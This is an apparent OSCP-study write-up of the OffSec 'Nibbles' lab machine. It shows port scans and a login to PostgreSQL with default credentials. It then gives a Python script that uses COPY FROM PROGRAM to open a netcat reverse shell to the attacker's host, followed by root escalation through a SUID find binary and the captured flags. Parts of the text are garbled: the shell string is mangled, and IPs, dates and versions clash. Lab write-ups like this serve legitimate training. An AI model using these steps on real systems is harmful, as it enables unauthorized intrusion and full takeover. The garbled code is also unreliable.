



OffSec Nibbles room write up:

OffSec is the proud owner of Kali Linux and the OSCP program, as well as other Offensive Security education programs. At the time of this writing, I am actively working on obtaining my OSCP certification. This is a great Linux box to study on for the OSCP.

Enumeration:

Target IP 192.168.51.47 (Note subject for change, this is the IP address I got while doing this lab.

```
(kali@kali)~$ nmap -p -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt
sleep 5
nmap -Pn $target -v -sC -v -oN nmap_sVNC.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2023-07-14 17:56 UTC
Initiating Parallel DNS resolution of 1 host. at 17:56
Completed Parallel DNS resolution of 1 host. at 17:56
Initiating SYN Stealth Scan at 17:56
Scanning 192.168.51.47 [65535 ports]
Discovered open port 21/tcp on 192.168.51.47
Discovered open port 22/tcp on 192.168.51.47
Discovered open port 80/tcp on 192.168.51.47
SYN Stealth Scan Timing: About 15.44% done; ETC: 17:59 (0:02:58 remaining)
Discovered open port 5437/tcp on 192.168.51.47
SYN Stealth Scan Timing: About 33.74% done; ETC: 17:59 (0:02:00 remaining)
SYN Stealth Scan Timing: About 56.08% done; ETC: 17:59 (0:01:11 remaining)

(kali@kali)~$ psql -h $target -p 5437 -U postgres
Password for user postgres:
psql: error: connection to server at "192.168.51.47", port 5437 failed: FATAL: password authentication failed for user "postgres"
connection to server at "192.168.51.47", port 5437 failed: FATAL: password authentication failed for user "postgres"

(kali@kali)~$ psql -h $target -p 5437 -U postgres
Password for user postgres:
psql (17.4 (Debian 17.4-1), server 11.7 (Debian 11.7-4+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
Type 'help' for help.

postgres=# exit

(kali@kali)~$
```

Port 21 is open, FTP can be accessed.

Port 22 is open, SSH.

Port 80, HTTP server

And port 5437 is open, PostgreSQL

Test that first and found PostgreSQL user name:

postgres

Password:

postgres

Remedy right away, default passwords.

Ports are closed 139 and 445:

No smb or rpc.

PORT	STATE	SERVICE
21/tcp	open	ftp
22/tcp	open	ssh
80/tcp	open	http
139/tcp	closed	netbios-ssn
445/tcp	closed	microsoft-ds
5437/tcp	open	pmip6-data

Foothold will be ported to 5437 to gain access to the box. The version is 17.4-1:

```
(kali@kali)~$ psql -h $target -p 5437 -U postgres
Password for user postgres:
psql (17.4 (Debian 17.4-1), server 11.7 (Debian 11.7-0+deb10u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
Type "help" for help.

postgres=# exit
```

Since the default creds are the same, we can RCE into the machine:

https://github.com/squid22/PostgreSQL_RCE - This is probably the better one to use to access the pc. Since port 80 is open we can use that to connect to the pc.

Before try the remote code here:

```
GNU nano 0.3 postgresql_rce.py
import psycopg2

RHOST = '192.168.56.47'
RPORT = 5437
LHOST = '192.168.49.56'
LPORT = 80
USER = 'postgres'
PASSWORD = 'postgres'

with psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASSWORD) as conn:
    try:
        cur = conn.cursor()
        print("[*] Connected to the PostgreSQL database")
        rev_shell = "rm /tmp/.rmsh /tmp/.cat /tmp/.bin/sh -i 2>&1nc {LHOST} {LPORT} >/tmp/{"
        print("[*] Executing the payload. Please check if you got a reverse shell!\n")
        cur.execute("DROP TABLE IF EXISTS cmd_exec")
        cur.execute("CREATE TABLE cmd_exec(cmd_output text)")
        cur.execute("COPY cmd_exec FROM PROGRAM \\'" + rev_shell + "\'")
        cur.execute("SELECT * from cmd_exec")
        v = cur.fetchone()
        print(v)
        cur.close()
    except:
        print("[!] Something went wrong")
```

Evaluating the structure of the shell, and ip address:

```
kali@kali:~/PostgreSQL_RCE
File Actions Edit View Help
(kali@kali)-[~]
$ export target=192.168.51.47
(kali@kali)-[~]
$
(kali@kali)-[~]
$ nmap -p- -n -sS -sV --target-ip $target --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 17:56 UTC
Initiating Parallel DNS resolution of 1 host. at 17:56
Completed Parallel DNS resolution of 1 host. at 17:56, 0.00s elapsed
Initiating SYN Stealth Scan at 17:56
Scanning 192.168.51.47 (65535 ports)
Discovered open port 21/tcp on 192.168.51.47
Discovered open port 22/tcp on 192.168.51.47
Discovered open port 80/tcp on 192.168.51.47
SYN Stealth Scan Timing: About 15.44% done; ETC: 17:59 (0:02:58 remaining)
Discovered open port 5437/tcp on 192.168.51.47
SYN Stealth Scan Timing: About 33.74% done; ETC: 17:59 (0:02:00 remaining)
SYN Stealth Scan Timing: About 56.08% done; ETC: 17:59 (0:01:11 remaining)
(kali@kali)-[~/PostgreSQL_RCE]
$ nc -lvp 80
listening on [any] 80 ...
connect to [192.168.49.51] from (UNKNOWN) [192.168.51.47] 40852
/bin/sh: 0: can't access tty: job control turned off
$
```

Gained shell.

Enumerating user and access:

```
(kali@kali)-[~/PostgreSQL_RCE]
$ nc -lvp 80
listening on [any] 80 ...
connect to [192.168.49.51] from (UNKNOWN) [192.168.51.47] 40852
/bin/sh: 0: can't access tty; job control turned off
$ whomai
/bin/sh: 1: whomai: not found
$ whoami
postgres
$ uname -a
Linux nibbles 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
$ ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.51.47 netmask 255.255.255.0 broadcast 192.168.51.255
    ether 00:50:56:86:69:9c txqueuelen 1000 (Ethernet)
    RX packets 200059 bytes 12032886 (11.4 MiB)
    RX errors 0 dropped 142 overruns 0 frame 0
    TX packets 552 bytes 124174 (121.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 330 bytes 120757 (117.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 330 bytes 120757 (117.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Privilege escalation:

```
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 34896 Jan 7 2019 /usr/bin/fusermount
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwsr-xr-x 1 root root 315904 Feb 16 2019 /usr/bin/find
-rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
$
```

Ticket for the admin/root access. No need to run linPEAS since we can find the SUID no problem:

```
$ /usr/bin/find . -exec /bin/sh -p \; -quit
whoami
root
```

Gained access without issues after stopping the service.

Flags:

```
cat proof.txt
91af716e1c4786b44d382c981b0c62fb
```

```
cat proof.txt
91af716e1c4786b44d382c981b0c62fb
cd /home/wilson
ls
ftp
local.txt
cat local.txt
f774e890bf44447df701949dbeef1f9f
```